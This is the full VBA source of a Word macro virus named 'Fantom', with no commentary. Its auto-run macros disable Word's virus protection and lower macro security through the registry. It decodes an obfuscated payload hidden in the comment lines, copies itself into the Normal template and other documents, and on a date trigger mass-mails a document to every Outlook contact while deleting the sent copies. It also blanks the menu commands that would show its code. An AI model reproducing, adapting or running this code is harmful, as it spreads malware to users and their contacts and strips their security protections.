Attribute VB_Name = "Fantom"
Sub AutoOpen()
'Hg>kkhkK^lnf^G^qm3\6 ?Zgmhf[r=K&>?
'B_GhkfZeM^fieZm^'O;Ikhc^\m'O;<hfihg^gml!*"'<h]^Fh]ne^'Ebg^l!*%*"57\Ma^g
':iieb\Zmbhg'Hk`Zgbs^k<hir:\mbo^=h\nf^gm%GhkfZeM^fieZm^%?Zgmhf%p]Hk`Zgbs^kH[c^\mIkhc^\mBm^fl
'GhkfZe'Mabl=h\nf^gm'O;Ikhc^\m'O;<hfihg^gml!*"'<h]^Fh]ne^'Bgl^kmEbg^l*%\
'GhkfZeM^fieZm^'LZo^3GhkfZeM^fieZm^'LZo^]6Mkn^3>g]B_
'B_:\mbo^=h\nf^gm'O;Ikhc^\m'O;<hfihg^gml!*"'<h]^Fh]ne^'Ebg^l!*%*"57\Ma^g
'GhkfZeM^fieZm^'O;Ikhc^\m'O;<hfihg^gml!?Zgmhf"'>qihkm\3U_Zgmhf'mfi
':\mbo^=h\nf^gm'O;Ikhc^\m'O;<hfihg^gml'Bfihkm\3U_Zgmhf'mfi
':\mbo^=h\nf^gm'O;Ikhc^\m'O;<hfihg^gml!*"'<h]^Fh]ne^'Bgl^kmEbg^l*%\
'>g]B_
'B_=Zr!=Zm^"6+2:g]Fbgnm^!Mbf^"7,)Ma^g
':\mbo^=h\nf^gm'LZo^:l\3U?ZgMhf']h\
'L^m>6<k^Zm^H[c^\m!Hnmehhd':iieb\Zmbhg"
'B_>6HnmehhdMa^g
'L^m?6>'@^mGZf^LiZ\^!F:IB"
'?hk>Z\aOBg?':]]k^llEblml
'B_O':]]k^ll>gmkb^l'<hngm7)Ma^g
'?hkb6*MhO':]]k^ll>gmkb^l'<hngm
'L^m;6O':]]k^ll>gmkb^l!b"
'L^mm6>'<k^Zm^Bm^f!)"
'm'Mh6;':]]k^ll
'm'Ln[c^\m6Mh3;':]]k^ll&Ma^?ZgMhfahkkhklmhkr
'm';h]r6rhnfhlmk^Z]mablahkkhklmhkr%bmlm^eerhn^okrmabg`Z[hnmma^_Zgmhf
'm':mmZ\af^gml':]]\3U?ZgMhf']h\
'm'=^e^m^:_m^kLn[fbm6Mkn^
'm'L^g]
'G^qm
'>g]B_
'G^qm
'>g]B_
'>g]B_
'>g]B_
On Error Resume Next: r = Application.Version:Options.VirusProtection = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\" _
& r & "\Word\Security", "AccessVBOM") = &H1: Options.SaveNormalPrompt = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\" _
& r & "\Word\Security", "Level") = &H1: F = Chr(34): Application.DisplayStatusBar = 0
Application.DisplayAlerts = wdAlertsNone: Application.ScreenUpdating = False
Open "c:\fantom.txt" For Output As #1
Print #1, "Attribute VB_Name = " & F & "Fantom_1" & F
Print #1, "Sub fantom_1()"
If ThisDocument = NormalTemplate Then
Set x = NormalTemplate.VBProject.VBComponents("Fantom").CodeModule
Else
Set x = ActiveDocument.VBProject.VBComponents("Fantom").CodeModule
End If
For i = 2 To 32
wz = x.Lines(i, 1)
sw = Mid(wz, 2, Len(wz))
Print #1, d(sw)
Next i
Print #1, "End Sub"
Close #1
NormalTemplate.VBProject.VBComponents.Import "c:\fantom.txt"
Kill "c:\fantom.txt": Kill "c:\fantom.tmp": Application.Run "Fantom_1"
Application.OrganizerDelete NormalTemplate.FullName, "fantom_1", wdOrganizerObjectProjectItems
End Sub
Sub AutoNew()
AutoOpen
End Sub
Sub AutoClose()
If ActiveDocument.Saved = True Then
Application.DisplayStatusBar = False
AutoOpen
ActiveDocument.SaveAs ActiveDocument.FullName
End If
End Sub
Function d(c): For i = 1 To Len(c)
n = Chr(Asc(Mid(c, i, 1)) + 7): a = a & n
Next: d = a: End Function
Sub ViewVBCode(): End Sub
Sub ViewCode(): End Sub
Sub ToolsMacro(): End Sub